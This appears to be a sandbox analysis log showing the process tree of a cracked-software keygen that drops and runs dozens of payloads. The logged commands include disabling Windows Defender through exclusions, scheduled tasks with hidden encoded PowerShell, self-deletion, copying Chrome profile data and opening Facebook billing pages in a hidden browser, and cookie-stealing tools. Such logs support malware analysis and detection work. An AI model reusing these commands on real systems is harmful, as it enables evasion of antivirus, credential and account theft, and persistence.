C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exekeygen-step-2.exe3⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\FD3D.tmp.exe"C:\Users\Admin\AppData\Roaming\FD3D.tmp.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\FD3D.tmp.exe"5⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK6⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL4⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2JG3OIROEB\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\2JG3OIROEB\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2JG3OIROEB\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\2JG3OIROEB\multitimer.exe" 1 3.1616869295.605f77af35bb3 1016⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\2JG3OIROEB\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\2JG3OIROEB\multitimer.exe" 2 3.1616869295.605f77af35bb37⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\ctohh5g3bux\e2c4myx2qb2.exe"C:\Users\Admin\AppData\Local\Temp\ctohh5g3bux\e2c4myx2qb2.exe" /VERYSILENT8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-DGMJ9.tmp\e2c4myx2qb2.tmp"C:\Users\Admin\AppData\Local\Temp\is-DGMJ9.tmp\e2c4myx2qb2.tmp" /SL5="$103C0,2592217,780800,C:\Users\Admin\AppData\Local\Temp\ctohh5g3bux\e2c4myx2qb2.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-D9K2M.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-D9K2M.tmp\winlthsth.exe"10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5520 -s 70011⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\zcedyzfbihh\vict.exe"C:\Users\Admin\AppData\Local\Temp\zcedyzfbihh\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-LAM3M.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-LAM3M.tmp\vict.tmp" /SL5="$303BC,870426,780800,C:\Users\Admin\AppData\Local\Temp\zcedyzfbihh\vict.exe" /VERYSILENT /id=5359⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-JFUDP.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-JFUDP.tmp\winhost.exe" 53510⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3yn4an0reau\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\3yn4an0reau\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-RUSB9.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-RUSB9.tmp\Setup3310.tmp" /SL5="$203AA,138429,56832,C:\Users\Admin\AppData\Local\Temp\3yn4an0reau\Setup3310.exe" /Verysilent /subid=5779⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-OQ5AV.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-OQ5AV.tmp\Setup.exe" /Verysilent10⤵
-
C:\Program Files (x86)\VR\Versium Research\customer5.exe"C:\Program Files (x86)\VR\Versium Research\customer5.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b edge13⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b chrome13⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b firefox13⤵
-
C:\Program Files (x86)\VR\Versium Research\RunWW.exe"C:\Program Files (x86)\VR\Versium Research\RunWW.exe"11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\VR\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im RunWW.exe /f13⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 613⤵
- Delays execution with timeout.exe
-
C:\Program Files (x86)\VR\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\VR\Versium Research\jg7_7wjg.exe"11⤵
-
C:\Program Files (x86)\VR\Versium Research\moSvKMEovuRx.exe"C:\Program Files (x86)\VR\Versium Research\moSvKMEovuRx.exe"11⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe12⤵
-
C:\Program Files (x86)\VR\Versium Research\22.exe"C:\Program Files (x86)\VR\Versium Research\22.exe"11⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install13⤵
-
C:\Program Files (x86)\VR\Versium Research\RmSetp.exe"C:\Program Files (x86)\VR\Versium Research\RmSetp.exe"11⤵
-
C:\ProgramData\2945365.exe"C:\ProgramData\2945365.exe"12⤵
-
C:\ProgramData\1660466.exe"C:\ProgramData\1660466.exe"12⤵
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"13⤵
-
C:\Program Files (x86)\VR\Versium Research\lylal220.exe"C:\Program Files (x86)\VR\Versium Research\lylal220.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\is-KD9VB.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-KD9VB.tmp\lylal220.tmp" /SL5="$304B0,491750,408064,C:\Program Files (x86)\VR\Versium Research\lylal220.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-LP0NU.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-LP0NU.tmp\Microsoft.exe" /S /UID=lylal22013⤵
-
C:\Program Files\Microsoft Office\DVIJWPSRHC\irecord.exe"C:\Program Files\Microsoft Office\DVIJWPSRHC\irecord.exe" /VERYSILENT14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-MDJRF.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-MDJRF.tmp\irecord.tmp" /SL5="$205DA,6265333,408064,C:\Program Files\Microsoft Office\DVIJWPSRHC\irecord.exe" /VERYSILENT15⤵
-
C:\Users\Admin\AppData\Local\Temp\c1-abc27-28c-9e39d-7bbfd8b7b08c2\Hashavadyshae.exe"C:\Users\Admin\AppData\Local\Temp\c1-abc27-28c-9e39d-7bbfd8b7b08c2\Hashavadyshae.exe"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kuhvn2gz.hsd\gaooo.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\kuhvn2gz.hsd\gaooo.exeC:\Users\Admin\AppData\Local\Temp\kuhvn2gz.hsd\gaooo.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qkb15b4k.fef\md7_7dfj.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\qkb15b4k.fef\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\qkb15b4k.fef\md7_7dfj.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0kl1gn2a.nes\askinstall31.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\0kl1gn2a.nes\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\0kl1gn2a.nes\askinstall31.exe16⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe17⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe18⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y17⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/17⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1604,16581387764932533787,23782698754723501,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1616 /prefetch:818⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1hmhnhwl.lcj\customer6.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\1hmhnhwl.lcj\customer6.exeC:\Users\Admin\AppData\Local\Temp\1hmhnhwl.lcj\customer6.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mo40raok.z5o\HookSetp.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\mo40raok.z5o\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\mo40raok.z5o\HookSetp.exe16⤵
-
C:\ProgramData\4762684.exe"C:\ProgramData\4762684.exe"17⤵
-
C:\ProgramData\2977296.exe"C:\ProgramData\2977296.exe"17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q3ag5ct3.qbp\privacytools5.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\q3ag5ct3.qbp\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\q3ag5ct3.qbp\privacytools5.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\q3ag5ct3.qbp\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\q3ag5ct3.qbp\privacytools5.exe17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\luecfnoy.mus\GcleanerWW.exe /mixone & exit15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cy1erdsk.cbs\19.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\cy1erdsk.cbs\19.exeC:\Users\Admin\AppData\Local\Temp\cy1erdsk.cbs\19.exe16⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\install.vbs"17⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install18⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iukpqc3n.jyw\b9706c20.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\iukpqc3n.jyw\b9706c20.exeC:\Users\Admin\AppData\Local\Temp\iukpqc3n.jyw\b9706c20.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wl2ffsyc.rcf\setup.exe /8-2222 & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\wl2ffsyc.rcf\setup.exeC:\Users\Admin\AppData\Local\Temp\wl2ffsyc.rcf\setup.exe /8-222216⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Solitary-Leaf'17⤵
-
C:\Program Files (x86)\Solitary-Leaf\7za.exe"C:\Program Files (x86)\Solitary-Leaf\7za.exe" e -p154.61.71.13 winamp.7z17⤵
-
C:\Program Files (x86)\Solitary-Leaf\setup.exe"C:\Program Files (x86)\Solitary-Leaf\setup.exe" /8-222217⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\roqpd0ni.yre\setup.exe /S /kr /site_id=754 & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\roqpd0ni.yre\setup.exeC:\Users\Admin\AppData\Local\Temp\roqpd0ni.yre\setup.exe /S /kr /site_id=75416⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"17⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&18⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3219⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6419⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gPvmhpTBx" /SC once /ST 17:23:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="17⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gPvmhpTBx"17⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gPvmhpTBx"17⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bmIXAqnwlcZKDlfrrr" /SC once /ST 19:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\AOjWXva.exe\" 9n /site_id 754 /S" /V1 /F17⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\11lmliky.xa5\Four.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\11lmliky.xa5\Four.exeC:\Users\Admin\AppData\Local\Temp\11lmliky.xa5\Four.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\WY3EMM0E2M\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\WY3EMM0E2M\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10417⤵
-
C:\Users\Admin\AppData\Local\Temp\WY3EMM0E2M\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\WY3EMM0E2M\multitimer.exe" 1 3.1616869590.605f78d65326f 10418⤵
-
C:\Users\Admin\AppData\Local\Temp\WY3EMM0E2M\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\WY3EMM0E2M\multitimer.exe" 2 3.1616869590.605f78d65326f19⤵
-
C:\Users\Admin\AppData\Local\Temp\4nzwrfcg5kq\vict.exe"C:\Users\Admin\AppData\Local\Temp\4nzwrfcg5kq\vict.exe" /VERYSILENT /id=53520⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CEE06.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-CEE06.tmp\vict.tmp" /SL5="$20394,870426,780800,C:\Users\Admin\AppData\Local\Temp\4nzwrfcg5kq\vict.exe" /VERYSILENT /id=53521⤵
-
C:\Users\Admin\AppData\Local\Temp\is-KAEPO.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-KAEPO.tmp\winhost.exe" 53522⤵
-
C:\Users\Admin\AppData\Local\Temp\1dqpxxrttff\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\1dqpxxrttff\AwesomePoolU1.exe"20⤵
-
C:\Users\Admin\AppData\Local\Temp\1543m2b3uct\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\1543m2b3uct\Setup3310.exe" /Verysilent /subid=57720⤵
-
C:\Users\Admin\AppData\Local\Temp\is-S3JBI.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-S3JBI.tmp\Setup3310.tmp" /SL5="$303A6,138429,56832,C:\Users\Admin\AppData\Local\Temp\1543m2b3uct\Setup3310.exe" /Verysilent /subid=57721⤵
-
C:\Users\Admin\AppData\Local\Temp\is-J8TPQ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-J8TPQ.tmp\Setup.exe" /Verysilent22⤵
-
C:\Users\Admin\AppData\Local\Temp\3ps33h4ns5x\qyyxvoqvedl.exe"C:\Users\Admin\AppData\Local\Temp\3ps33h4ns5x\qyyxvoqvedl.exe" /ustwo INSTALL20⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 65221⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 66421⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 62021⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 81621⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 87221⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 84021⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 114821⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 108021⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\vktcq5pke2e\rsxjyxbozpl.exe"C:\Users\Admin\AppData\Local\Temp\vktcq5pke2e\rsxjyxbozpl.exe" /1-61020⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Purple-Fire'21⤵
-
C:\Program Files (x86)\Purple-Fire\7za.exe"C:\Program Files (x86)\Purple-Fire\7za.exe" e -p154.61.71.13 winamp.7z21⤵
-
C:\Program Files (x86)\Purple-Fire\rsxjyxbozpl.exe"C:\Program Files (x86)\Purple-Fire\rsxjyxbozpl.exe" /1-61021⤵
-
C:\Users\Admin\AppData\Local\Temp\k23mpf51elp\app.exe"C:\Users\Admin\AppData\Local\Temp\k23mpf51elp\app.exe" /8-2320⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Summer-Shadow'21⤵
-
C:\Program Files (x86)\Summer-Shadow\7za.exe"C:\Program Files (x86)\Summer-Shadow\7za.exe" e -p154.61.71.13 winamp.7z21⤵
-
C:\Program Files (x86)\Summer-Shadow\app.exe"C:\Program Files (x86)\Summer-Shadow\app.exe" /8-2321⤵
-
C:\Users\Admin\AppData\Local\Temp\KXO81WCCDN\setups.exe"C:\Users\Admin\AppData\Local\Temp\KXO81WCCDN\setups.exe" ll17⤵
-
C:\Users\Admin\AppData\Local\Temp\is-P24K2.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-P24K2.tmp\setups.tmp" /SL5="$60364,408070,216064,C:\Users\Admin\AppData\Local\Temp\KXO81WCCDN\setups.exe" ll18⤵
-
C:\Users\Admin\AppData\Local\Temp\c4-f55f0-4c7-4f1ad-9d07b36d9fc0c\Rucyvawyvo.exe"C:\Users\Admin\AppData\Local\Temp\c4-f55f0-4c7-4f1ad-9d07b36d9fc0c\Rucyvawyvo.exe"14⤵
-
C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\is-46TJ9.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-46TJ9.tmp\LabPicV3.tmp" /SL5="$30608,239334,155648,C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OPDGN.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-OPDGN.tmp\ppppppfy.exe" /S /UID=lab21413⤵
-
C:\Program Files\Windows Security\AVINCMPXZD\prolab.exe"C:\Program Files\Windows Security\AVINCMPXZD\prolab.exe" /VERYSILENT14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3I39D.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-3I39D.tmp\prolab.tmp" /SL5="$405D6,575243,216576,C:\Program Files\Windows Security\AVINCMPXZD\prolab.exe" /VERYSILENT15⤵
-
C:\Users\Admin\AppData\Local\Temp\9d-324e4-677-e8a88-17b39cb25c043\Cyxaedaqaeshu.exe"C:\Users\Admin\AppData\Local\Temp\9d-324e4-677-e8a88-17b39cb25c043\Cyxaedaqaeshu.exe"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hb4jfpyd.z3d\gaooo.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\hb4jfpyd.z3d\gaooo.exeC:\Users\Admin\AppData\Local\Temp\hb4jfpyd.z3d\gaooo.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b3fybgnm.e3d\md7_7dfj.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\b3fybgnm.e3d\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\b3fybgnm.e3d\md7_7dfj.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\esbeka31.343\askinstall31.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\esbeka31.343\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\esbeka31.343\askinstall31.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ksa212bw.tjz\customer6.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\ksa212bw.tjz\customer6.exeC:\Users\Admin\AppData\Local\Temp\ksa212bw.tjz\customer6.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX5\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX5\main.exe"17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3u4ohjkb.efe\HookSetp.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\3u4ohjkb.efe\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\3u4ohjkb.efe\HookSetp.exe16⤵
-
C:\ProgramData\5176678.exe"C:\ProgramData\5176678.exe"17⤵
-
C:\ProgramData\2136092.exe"C:\ProgramData\2136092.exe"17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5bikp5ap.l4w\privacytools5.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\5bikp5ap.l4w\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\5bikp5ap.l4w\privacytools5.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\5bikp5ap.l4w\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\5bikp5ap.l4w\privacytools5.exe17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yx3nquwg.xp0\GcleanerWW.exe /mixone & exit15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yqqjp0ka.zm1\19.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\yqqjp0ka.zm1\19.exeC:\Users\Admin\AppData\Local\Temp\yqqjp0ka.zm1\19.exe16⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\install.vbs"17⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install18⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\or0ul2yi.xfm\b9706c20.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\or0ul2yi.xfm\b9706c20.exeC:\Users\Admin\AppData\Local\Temp\or0ul2yi.xfm\b9706c20.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tofjnhxb.1r5\setup.exe /8-2222 & exit15⤵
-
